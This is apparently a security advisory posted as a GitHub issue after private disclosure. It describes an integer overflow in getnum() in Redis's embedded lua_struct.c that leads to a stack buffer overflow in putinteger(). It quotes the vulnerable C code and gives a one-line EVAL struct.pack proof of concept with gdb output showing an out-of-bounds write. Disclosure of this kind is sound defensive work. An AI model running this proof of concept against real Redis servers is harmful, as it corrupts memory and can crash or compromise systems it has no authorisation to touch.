Description
[re-posting via github after private reporting, as agreed with antirez]
Embedded copy of lua_struct.c suffers of an integer overflow in the getnum() parser that can be used to trigger (at least) a stack-based buffer overflow.
This affects all released versions of redis in both 2.8 and 3.0 branches.
The following code is part of lua_struct.c
static int getnum (const char **fmt, int df) {
if (!isdigit(**fmt)) /* no number? */
return df; /* return default value */
else {
int a = 0;
do {
a = a*10 + *((*fmt)++) - '0';
} while (isdigit(**fmt));
return a;
}
}
static size_t optsize (lua_State *L, char opt, const char **fmt) {
switch (opt) {
[...]
case 'c': return getnum(fmt, 1);
case 'i': case 'I': {
int sz = getnum(fmt, sizeof(int));
if (sz > MAXINTSIZE)
luaL_error(L, "integral size %d is larger than limit of %d",
sz, MAXINTSIZE);
return sz;
}
default: return 0; /* other cases do not need alignment */
}
}getnum() can be tricked into an integer wraparound with a large size number as input, thus returning a negative value.
optsize() has no lower bound/negative check; moreover, there is an implicit int -> size_t promotion, yielding a very large (unsigned) size value.
This, plus further int/size_t confusion in the whole module, results in stack-based buffer overflows in other places,
eg. putinteger() reachable in LUA via struct.pack().
Simple PoC as follow:
EVAL "struct.pack('>I2147483648', '10')" 0
Where:
- '2147483648' is a user-controlled index, larger than
MAX_INT32, foolingoptsize() - '>I' is there to reach a buffer overflow in
putinteger() - '10' is a user-controlled input stored into
value
This will result in memory corruption due a user-controlled write outside of a (stack-based) array. Running the PoC above, this can be observed from gdb:
171 char buff[32];
...
185 for (i = size - 1; i >= 0; i--) {
186 buff[i] = (value & 0xff);
(gdb) print i
$3 = 2147483647